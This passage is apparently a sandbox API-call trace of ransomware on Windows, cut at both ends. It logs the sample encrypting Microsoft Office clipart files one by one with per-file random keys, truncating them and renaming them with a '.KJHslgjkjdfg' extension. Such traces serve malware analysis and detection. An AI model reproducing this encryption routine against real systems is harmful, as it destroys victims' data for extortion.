lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.217] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.217] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.217] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.217] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.217] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.217] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x94a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x94a, lpOverlapped=0x0) returned 1 [0187.217] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x950, dwBufLen=0x950 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x950) returned 1 [0187.217] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.217] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x950, lpOverlapped=0x0) returned 1 [0187.217] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.217] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.218] SetEndOfFile (hFile=0x130) returned 1 [0187.219] GetProcessHeap () returned 0x990000 [0187.219] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.219] GetProcessHeap () returned 0x990000 [0187.219] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.kjhslgjkjdfg")) returned 1 [0187.220] CloseHandle (hObject=0x130) returned 1 [0187.220] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0187.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.220] GetProcessHeap () returned 0x990000 [0187.220] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.220] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.220] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0187.222] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.222] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.222] GetProcessHeap () returned 0x990000 [0187.222] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.222] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.222] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.222] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.222] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.222] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.223] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.223] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.223] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.223] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.223] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x414, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x414, lpOverlapped=0x0) returned 1 [0187.223] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x420, dwBufLen=0x420 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x420) returned 1 [0187.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.223] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x420, lpOverlapped=0x0) returned 1 [0187.223] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.223] SetEndOfFile (hFile=0x130) returned 1 [0187.226] GetProcessHeap () returned 0x990000 [0187.226] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.226] GetProcessHeap () returned 0x990000 [0187.226] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.226] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.kjhslgjkjdfg")) returned 1 [0187.227] CloseHandle (hObject=0x130) returned 1 [0187.227] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0187.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.228] GetProcessHeap () returned 0x990000 [0187.228] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.228] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.228] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0187.246] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.246] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.246] GetProcessHeap () returned 0x990000 [0187.246] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.246] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.246] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.247] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.247] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.248] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.248] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.248] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.252] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.252] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.252] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.261] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x876, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x876, lpOverlapped=0x0) returned 1 [0187.265] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x880, dwBufLen=0x880 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x880) returned 1 [0187.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.265] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x880, lpOverlapped=0x0) returned 1 [0187.267] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.267] SetEndOfFile (hFile=0x130) returned 1 [0187.269] GetProcessHeap () returned 0x990000 [0187.269] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.269] GetProcessHeap () returned 0x990000 [0187.269] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.kjhslgjkjdfg")) returned 1 [0187.270] CloseHandle (hObject=0x130) returned 1 [0187.270] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0187.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.281] GetProcessHeap () returned 0x990000 [0187.281] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.281] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.282] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.282] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.282] GetProcessHeap () returned 0x990000 [0187.282] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.282] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.282] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.282] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.303] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.303] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.303] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.303] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.303] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.303] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.303] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6b0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6b0, lpOverlapped=0x0) returned 1 [0187.303] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6b0, dwBufLen=0x6b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6b0) returned 1 [0187.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.304] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6b0, lpOverlapped=0x0) returned 1 [0187.304] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.304] SetEndOfFile (hFile=0x130) returned 1 [0187.307] GetProcessHeap () returned 0x990000 [0187.307] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.307] GetProcessHeap () returned 0x990000 [0187.307] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.307] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.kjhslgjkjdfg")) returned 1 [0187.308] CloseHandle (hObject=0x130) returned 1 [0187.308] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0187.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.309] GetProcessHeap () returned 0x990000 [0187.309] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.309] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.309] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0187.344] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.344] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.344] GetProcessHeap () returned 0x990000 [0187.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.344] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.346] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.346] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.347] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.348] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.348] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.358] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.358] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.358] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.358] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.358] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.358] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x20ae, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x20ae, lpOverlapped=0x0) returned 1 [0187.360] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20b0, dwBufLen=0x20b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20b0) returned 1 [0187.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.360] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x20b0, lpOverlapped=0x0) returned 1 